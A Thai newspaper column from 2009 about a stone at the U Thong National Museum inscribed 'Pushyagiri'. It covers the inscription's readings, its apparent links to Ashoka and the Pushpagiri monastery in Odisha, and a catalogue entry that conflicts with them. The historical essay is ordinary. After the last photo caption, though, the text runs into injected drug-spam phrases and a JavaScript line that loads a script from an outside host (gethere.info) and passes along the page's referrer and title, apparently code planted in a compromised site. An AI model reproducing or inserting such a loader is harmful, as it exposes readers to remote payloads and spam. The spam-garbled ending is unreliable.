หนังสือพิมพ์มติชนฉบับวันพุธที่ 28 ตุลาคม 2552

หินขนาดกลางๆก้อนหนึ่ง ด้านหนึ่งแบน ไม่ราบ มีตัวอักษรชนิดหนึ่งสลักไว้ จัดแสดงอยู่ในพิพิธภัณฑสถานแห่งชาติ อู่ทอง (อ. อู่ทอง จ. สุพรรณบุรี) ผมเคยเห็นตั้งแต่ราว พ.ศ. 2509 จนถึงทุกวันนี้ นาน 40 กว่าปีมาแล้ว

ต่อมา อาจารย์ธนิต อยู่โพธิ์ (ขณะนั้นเป็นอธิบดีกรมศิลปากร) เรียบเรียงเรื่องสุวัณณภูมิ ให้กรมศิลปากรพิมพ์เป็นหนังสือบางๆเผยแพร่เมื่อ พ.ศ. 2510        มีรูปหินก้อนนี้ประกอบ แล้วมีคำอธิบายใต้ภาพว่า

“ศิลาจารึกเป็นคำสันสกฤตว่า‘ปุษยคิริ’ ตัวอักษรแบบอินเดียใต้ สมัยพุทธศตวรรษที่ 11-14 พบบริเวณเมืองอู่ทอง”

เนื้อความหนังสือสุวัณณภูมิ อาจารย์ธนิตทิ้งท้ายเรื่องข้อความจารึก “ปุษยคิริ” ว่าขอให้ “ช่วยกันสืบสวนค้นหาหลักฐานที่แน่นอนต่อไป” เพราะสรุปไม่ได้ว่าข้อความนั้นหมายถึงอะไร

ต่อมาผมขออนุญาตเอาเนื้อเรื่องและรูปประกอบทั้งหมดนี้มาพิมพ์ซ้ำรวมไว้ในหนังสือสุวรรณภูมิ อยู่ที่นี่ ที่แผ่นดินสยาม สำนักพิมพ์มติชนพิมพ์เมื่อ พ.ศ. 2545

ตั้งแต่ พ.ศ. 2510 ถึง 2545 ราว 35 ปี ผมมีภาพหินก้อนนี้กับข้อความ “ปุษยคิริ”บนก้อนหินติดหูติดตาติดใจอยู่ในความทรงจำ พอนานๆจะผุดขึ้นเป็นบางครั้งบางคราวเมื่อถกกันเรื่องสุวรรณภูมิและเมืองอู่ทอง โดยไม่ได้อธิบายอะไร เพราะไม่รู้ที่ไปที่มาของข้อความนั้น แต่ถ้าไม่ถกเรื่องสุวรรณภูมิก็ไม่มีภาพผุดขึ้นมา

ผมไม่รู้อะไรเพิ่มขึ้น เพราะไม่ได้ยินใครในวงวิชาการประวัติศาสตร์โบราณคดีพูดถึงข้อความนี้อีก แต่เป็นไปได้ว่าผมล้าหลังห่างไกลเอง เพราะไม่ใช่นักวิชาการ ด้านนี้จึงไม่รู้ความก้าวหน้า

จนถึงต้นปี พ.ศ. 2549 คุณลักษณา จีระจันทร์ แห่งพาโนราม่า ผู้ทำบทและบรรยายหนังสารคดีเฉียบขาด“สุดคลาสสิค”เรื่องตามรอยพระพุทธเจ้า เล่าถึงการเดินทางค้นคว้าถ่ายทำในอินเดีย แล้วไปที่ปุษปคีรีมหาวิหาร

ผมฟังแล้วรู้สึกร่มรื่นชื่นใจ เลยขอร้องให้เขียนเล่าย่อๆจะได้ต่อยอดความรู้เรื่องเมืองอู่ทอง ที่ อ. อู่ทอง จ. สุพรรณบุรี และสุวรรณภูมิ

คุณลักขณาเขียนเรื่องปุษปคีรีบนแผ่นดินพระเจ้าอโศกมหาราช (พิมพ์ในสูจิบัตรสุวรรณภูมิฯ ของศูนย์สังคีตศิลป์สัญจร จัดที่พิพิธภัณฑสถานแห่งชาติ               อู่ทอง อ. อู่ทอง จ. สุพรรณบุรี วันศุกร์ที่ 17 มีนาคม พ.ศ. 2549 หน้า 86-90) มีใจความสำคัญว่า เมื่อ พ.ศ. 2539-2544 นักโบราณคดีจากสถาบันศึกษาทางทะเลและเอเชียตะวันออกเฉียงใต้แห่งโอริสสา ขุดพบหลักฐานและจารึกมากมายบริเวณเนินเขาลังกุฎี (Langudi Hill) ในรัฐโอริสสา ที่ยืนยันได้ว่าคือปุษปคีรีมหาวิหาร หรือสังฆารามของพระเจ้าอโศกที่พระถังซำจั๋งได้กล่าวไว้ในบันทึกเมื่อราวหลัง พ.ศ. 1100

สอดคล้องกับคำอธิบายของครูบาอาจารย์อ้างถึงข้อความ “ปุษยคีรี” พบที่เมืองอู่ทอง ว่าเป็นชื่อเมืองและสถานที่ซึ่งพระเจ้าอโศกมหาราชโปรดให้สร้างพระสถูปบรรจุพระบรมธาตุของพระพุทธเจ้า (เมืองอู่ทอง โดยศรีศักร วัลลิโภดม สำนักพิมพ์เมืองโบราณ พิมพ์ครั้งแรก พ.ศ. 2549 หน้า 76)

เมื่อมีร่องรอยและพยานหลักฐานแวดล้อมอย่างนี้ ย่อมหมายความว่า          แม้เป็นเมืองยุคหลังอโศกหลายร้อยปี แต่พุทธศาสนาที่เมืองอู่ทองอ้างอิงให้ เกี่ยวข้องกับพระเจ้าอโศก ให้มีความสืบเนื่องจากอโศกอย่างหนักแน่นมั่นคงเพื่อให้ดูศักดิ์สิทธิ์ขึ้น เห็นได้จากจารึก, และศิลปกรรมพบในเมืองอู่ทองทำเลียนแบบอโศก รวมทั้งมหาวงศ์ของลังกายังอ้างว่าอโศกให้พระสงฆ์ 2 รูปมาเผยแผ่พุทธศาสนาที่สุวรรณภูมิคืออู่ทอง

แต่มีปัญหาน่าประหลาดมากที่หนังสือจารึกในประเทศไทย เล่ม 1 (กรมศิลปากรพิมพ์เมื่อ พ.ศ. 2529 หน้า 223-224) กับเว็บไซต์เกี่ยวกับฐานข้อมูล  จารึกฯ ของศูนย์ฯ ย่านตลิ่งชัน มีรูปจารึกเหมือนกันกับ“ปุษยคิริ”ที่พบจากเมืองอู่ทอง สุพรรณฯ แต่ระบุต่างไปว่าพบที่เมืองคูบัว ราชบุรี แล้วอ่านคำจารึกต่างไปอีกว่า “ปุมฺยคีรี”

เกิดอะไรขึ้น? นี่จารึกเรื่องเดียวกัน หรือคนละเรื่อง? ผมอ่อนด้อยสติปัญญาอธิบายไมได้ ใครรู้กรุณาเขียนบอกมาด้วยจะเป็นพระคุณอย่างสูงยิ่ง

(ซ้าย) ศิลาจารึกเป็นคำสันสกฤตว่า “ปุษยคิริ” ตัวอักษรแบบอินเดียใต้ สมัยพุทธศตวรรษที่ 11-14 พบบริเวณเมืองเก่าอู่ทอง (รูปและคำอธิบายนี้ อยู่ในหนังสือสุวรรณภูมิ ของ ธนิต อยู่โพธิ์ กรมศิลปากร พิมพ์ครั้งแรกเมื่อ พ.ศ. 2510 แล้วพิมพ์ซ้ำในหนังสือสุวรรณภูมิ อยู่ที่นี่ ที่แผ่นดินสยาม สำนักพิมพ์มติชน พ.ศ. 2545 หน้า 95)

(ขวา) 2 ภาพของคุณลักษณา จีระจันทร์ (บน) รูปสลักพระเจ้าอโศกและมเหสีที่ขุดพบบริเวณสถูปปุษปคีรีมหาวิหาร (ล่าง) บริเวณสถูปปุษปคีรีมหาวิหารที่เนินเขาลังกุฎี รัฐโอริสสา อินเดียfluoxetine oral solution cheap cialis jelly onlines.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;